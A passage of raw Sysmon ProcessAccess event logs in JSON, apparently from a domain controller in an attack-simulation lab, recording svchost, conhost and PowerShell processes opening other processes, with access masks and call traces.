C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.571","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5041,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.571\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.571","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5042,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.571\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.571","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5043,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.571\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.571","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5044,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.571\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.571","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5045,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.571\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.571","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5046,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.571\r\nSourceProcessGUID: {90617006-415F-5F2D-0000-001026810700}\r\nSourceProcessId: 5076\r\nSourceThreadId: 4964\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4168-5F2D-0000-0010F3CE0700}\r\nTargetProcessId: 1168\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1F3FFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b42a7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b452d|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3ed3|UNKNOWN(00007FF8EA7C3B23)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.571","SourceProcessGUID":"{90617006-415F-5F2D-0000-001026810700}","SourceProcessId":"5076","SourceThreadId":"4964","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4168-5F2D-0000-0010F3CE0700}","TargetProcessId":"1168","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1f3fff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b42a7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b452d|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3ed3|UNKNOWN(00007FF8EA7C3B23)","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5047,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.571\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-0010E0580700}\r\nSourceProcessId: 1276\r\nSourceThreadId: 4304\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4168-5F2D-0000-0010F3CE0700}\r\nTargetProcessId: 1168\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.571","SourceProcessGUID":"{90617006-415E-5F2D-0000-0010E0580700}","SourceProcessId":"1276","SourceThreadId":"4304","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4168-5F2D-0000-0010F3CE0700}","TargetProcessId":"1168","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5048,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.603\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4168-5F2D-0000-0010F3CE0700}\r\nTargetProcessId: 1168\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 